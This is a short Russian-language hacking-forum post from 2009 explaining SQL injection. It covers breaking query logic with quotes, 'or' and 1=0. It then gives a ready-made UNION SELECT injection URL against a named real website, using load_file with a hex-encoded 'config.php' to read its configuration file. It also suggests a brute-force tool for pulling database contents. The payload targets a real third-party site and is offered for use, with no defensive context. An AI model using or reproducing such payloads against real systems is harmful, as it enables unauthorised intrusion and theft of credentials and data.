16.02.2009, 17:16
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
просто вызываешь ошибку, 1 никогда не будет равен 0, вместо запятой или минуса, нарушаешь логику sql-запроса, способо много, от кавычки до or, читай статью
https://forum.antichat.ru/thread104591.html
кстати вот еще довольно интересная инфо:
Код:
http://www.yivo.org/index.php?tid=1+and+1=0+union+select+1,2,3,load_file(0x636F6E6669672E706870),5,6,7,8,9/*
а нужны данные из базы - только брут. Например SIPT4
Последний раз редактировалось Pashkela; 16.02.2009 в 17:20..
|
|
|